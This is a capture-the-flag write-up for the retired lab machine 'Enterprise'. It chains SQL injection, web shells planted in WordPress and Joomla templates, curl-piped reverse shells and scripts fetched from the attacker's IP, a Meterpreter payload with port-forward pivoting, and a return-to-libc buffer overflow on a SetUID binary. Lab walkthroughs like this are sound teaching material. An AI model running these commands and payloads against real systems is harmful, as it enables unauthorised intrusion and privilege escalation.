This is the write-up for the box Enterprise that got retired at the 17th March 2018. My IP address was 10.10.14.17 while I did this.
Let's put this in our hosts file:
10.10.10.61 enterprise.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/enterprise.nmap 10.10.10.61
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA)
| 256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA)
|_ 256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: USS Enterprise – Ships Log
443/tcp open ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_http-server-header: Apache/2.4.25 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Not valid before: 2017-08-25T10:35:14
|_Not valid after: 2017-09-24T10:35:14
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
8080/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: Joomla! - Open Source Content Management
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Noteworthy:
- Port 443 is Apache version 2.4.25 (Ubuntu)
- Port 80 and 8080 is Apache version 2.4.10 (Debian)
The website on port 80 shows some content but it does not render correctly. When browsing to the hostname enterprise.htb it renders correctly and shows a blog that is hosted on WordPress.
All articles are written by the user william.riker.
Lets run wpscan to enumerate it:
wpscan --url http://10.10.10.61 --enumerate p,t,u,tt
It did not find anything interesting.
The website on port 8080 is hosted on Joomla with the title "Ten Forward". This web page has a login form but we do not have any credentials yet:
The website on port 443 shows the default Apache2 Ubuntu page. In the certificate is an email address, that could be a potential username jeanlucpicard@enterprise.local.
Lets search for hidden directories with Gobuster:
gobuster -u https://10.10.10.61 dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
It finds the directory /files which is an index with one file called lcars.zip. In this ZIP file are three PHP files:
- lcars_db.php
(...)
if (isset($_GET['query'])){
$query = $_GET['query'];
$sql = "SELECT ID FROM wp_posts WHERE post_name = $query";
$result = $db->query($sql);
echo $result;
} else {
echo "Failed to read query";
}
- lcars_dbpost.php
(...)
if (isset($_GET['query'])){
$query = (int)$_GET['query'];
$sql = "SELECT post_title FROM wp_posts WHERE ID = $query";
$result = $db->query($sql);
if ($result){
$row = $result->fetch_row();
if (isset($row[0])){
echo $row[0];
}
}
} else {
echo "Failed to read query";
}
- lcars.php
<?php
/*
* Plugin Name: lcars
* Plugin URI: enterprise.htb
* Description: Library Computer Access And Retrieval System
* Author: Geordi La Forge
* Version: 0.2
* Author URI: enterprise.htb
* */
// Need to create the user interface.
// need to finsih the db interface
// need to make it secure
?>
The author of lcars.php is geordi la forge which could be another potential username and seems to code a WordPress plugin called lcars. Plugins can be found in the directory /wp-content/plugins/lcars/ on port 80 and when trying to access /lcars_db.php/ it shows the message "Failed to read query" which confirms that the plugin exists.
In lcars_db.php it can be seen, that it takes the parameter query and using an ID of a WordPress blog article as the value:
http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1
It shows an error because it cannot return a string and we need to force it to return an error message that will be a string.
Catchable fatal error: Object of class mysqli_result could not be converted to string in /var/www/html/wp-content/plugins/lcars/lcars_db.php on line 16
As this is a SQL Injection vulnerability we can send the request to SQLmap:
sqlmap -r lcars_db.req --dbms mysql
sqlmap -r lcars_db.req --dbms mysql --dump
There are some passwords stored in one of the databases that keeps drafts for articles:
Needed somewhere to put some passwords quickly
ZxJyhGem4k338S2Y
enterprisencc170
ZD3YxfnSjezg67JZ
u*Z14ru0p#ttj83zS6
The login page for WordPress is on /wp-login.php and after trying all of those passwords with the username william.riker, access is granted with the fourth one "u*Z14ru0p#ttj83zS6".
To get code execution, PHP files can be modified to run system commands:
Appearance --> Editor --> Theme Header (header.php)
Add PHP code to beginning of file:
echo system($_REQUEST['cmd']);
Running whoami
command:
http://enterprise.htb/?cmd=whoami
In the source code it shows the result as www-data and code execution works. Lets start a reverse shell connection by using a PHP reverse shell from the Laudanum scripts:
http://enterprise.htb/?cmd=curl%2010.10.14.17/php-reverse-shell-p9001.php%20|%20php
After sending the request, the listener on my IP and port 9001 starts a reverse shell as www-data.
When checking the IP address with ip a
it shows 172.17.0.4 and user.txt says the following:
As you take a look around at your surroundings you realise there is something wrong.
This is not the Enterprise!
As you try to interact with a console it dawns on you.
Your in the Holodeck!
It seems like that this is not the target box yet.
The ARP table can be checked with ip neigh
and it has two IP addresses 172.17.0.1 & 172.17.0.2.
In the WordPress configuration file /var/www/html/wp-config.php is a password that could be used to pivot to the database server that also has the database of Joomla:
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'NCC-1701E');
As there is no MySQL installed on this current server, Metasploit can be used to pivot through that client to another one.
Creating binary to start Meterpreter connection:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.17 LPORT=9002 -f elf -o msf.bin
Setting up listener in Metasploit:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.17
set LPORT 9002
exploit -j
Downloading binary on box, making it executable and executing it:
curl 10.10.14.17/msf.bin -o msf.bin
chmod +x msf.bin
./msf.bin
After executing it, the listener starts a session and we are able to pivot to port 3306 on 172.17.0.2 with the portfwd
command in Meterpreter:
meterpreter> portfwd add -l 9003 -p 3306 -r 172.17.0.2
Connecting to MySQL server through port 9003 on localhost with root and the password "NCC-1701E":
mysql -h 127.0.0.1 -P 9003 -u root -p
The show databases;
command shows all databases on the server including the Joomla database that we want to enumerate:
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| joomla |
| joomladb |
| mysql |
| performance_schema |
| sys |
| wordpress |
| wordpressdb |
+--------------------+
Getting users for Joomla:
use joomladb;
show tables;
select id, name, username, password from edz2g_users;
+-----+------------+-----------------+--------------------------------------------------------------+
| id | name | username | password |
+-----+------------+-----------------+--------------------------------------------------------------+
| 400 | Super User | geordi.la.forge | $2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy |
| 401 | Guinan | Guinan | $2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q |
+-----+------------+-----------------+--------------------------------------------------------------+
The login page for Joomla is on /administrator and now that we have the usernames, all the passwords from before can be tried on both of these. Access is granted with the username geordi.la.forge and the password "ZD3YxfnSjezg67JZ".
To get code execution, PHP files can be modified to run system commands:
Extensions --> Templates --> Templates --> Protostar Details and Files --> index.php
Add PHP code to beginning of file:
echo system($_REQUEST['cmd']);
Running whoami
command:
http://10.10.10.61:8080/index.php?cmd=whoami
In the source code it shows the result as www-data and code execution works. Lets start a reverse shell connection by using a PHP reverse shell from the Laudanum scripts:
http://10.10.10.61:8080/index.php?cmd=curl%2010.10.14.17/php-reverse-shell-p9004.php%20|%20php
After sending the request, the listener on my IP and port 9004 starts a reverse shell as www-data.
When checking the IP address with ip a
it shows 172.17.0.3.
Now we got access to the WordPress box (Port 80) and Joomla box (Port 8080) and the next station will be the box on port 443 that hosted the lcars.zip. This is the box that probably has SSH open as the initial Nmap scan shows.
When looking at the mounted shares on the Joomla box with mount
, it shows that /var/www/html/files is mounted and in there is lcars.zip.
The current user www-data has access to write files in there and after checking the index on port 443 the files are also displayed, which means we have the ability to upload files to Enterprise.
Lets upload the PHP shell from the Laudanum scripts to the directory /var/www/html/files:
curl 10.10.14.17/php-reverse-shell-p9005.php -o shell.php
Running it by clicking on it on the index page:
After executing it the listener on my IP and port 9005 starts a reverse shell as www-data.
When checking the IP address with ip a
it shows different interfaces and also 10.10.10.61 which is the target box.
To get an attack surface, it is recommended to run any Linux Enumeration script:
curl 10.10.14.17/LinEnum.sh | bash
After analyzing the output, there are some interesting observations:
- Server listens on port 5355 and 32812
- The binary /bin/lcars has the SetUID-bit set
When executing lcars it shows some kind of console where it wants to have an access code:
_______ _______ ______ _______
| | |_____| |_____/ |______
|_____ |_____ | | | \_ ______|
Welcome to the Library Computer Access and Retrieval System
Enter Bridge Access Code:
test123
Invalid Code
Terminating Console
It is also the service that runs on port 32812:
nc 10.10.10.61 32812
Lets copy the binary to our local client to reverse engineer it and look for syscalls and libraries it uses:
ltrace ./lcars.bin
After the input it shows that it uses a strcmp
against the string picarda1 which seems to be the access code:
fgets(test
"test\n", 9, 0xf7efa580)
strcmp("test\n", "picarda1")
With this access code, it shows the menu of the tool:
_______ _______ ______ _______
| | |_____| |_____/ |______
|_____ |_____ | | | \_ ______|
Welcome to the Library Computer Access and Retrieval System
LCARS Bridge Secondary Controls -- Main Menu:
1. Navigation
2. Ships Log
3. Science
4. Security
5. StellaCartography
6. Engineering
7. Exit
Waiting for input:
All of those menus want some kind of input, so trying which one can't handle long strings and crashes:
python -c 'print "A"*500'
After sending 500 A characters to the menus, the menu "4. Security" crashes with a Segmentation Fault:
LCARS Bridge Secondary Controls -- Main Menu:
(...)
4. Security
5. StellaCartography
6. Engineering
7. Exit
Waiting for input:
4
Disable Security Force Fields
Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
Looking at what happens with gdb and sending a specific pattern to it:
gdb ./lcars.bin
gdb-peda$ pattern_create 500
gdb-peda$ run
After running it with that pattern, it found the offset at 212 characters in:
Also ASLR is disabled on the box which doesn't have to be bypassed:
www-data@enterprise:/$ cat /proc/sys/kernel/randomize_va_space
0
www-data@enterprise:/$ ldd /bin/lcars | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
www-data@enterprise:/$ ldd /bin/lcars | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
To write an exploit script, there is some information needed.
Getting system address on the box:
(gdb) p system
0xf7e4c060
Getting exit address on the box:
(gdb) p exit
0xf7e3faf0
Getting shell address on the box:
(gdb) find &system,+9999999,"sh"
0xf7f6ddd5
The script to exploit the service is called enterprise_re.py and can be found in this repository.
python enterprise_re.py
After running the script the Buffer Overflow is exploited and starts a root shell!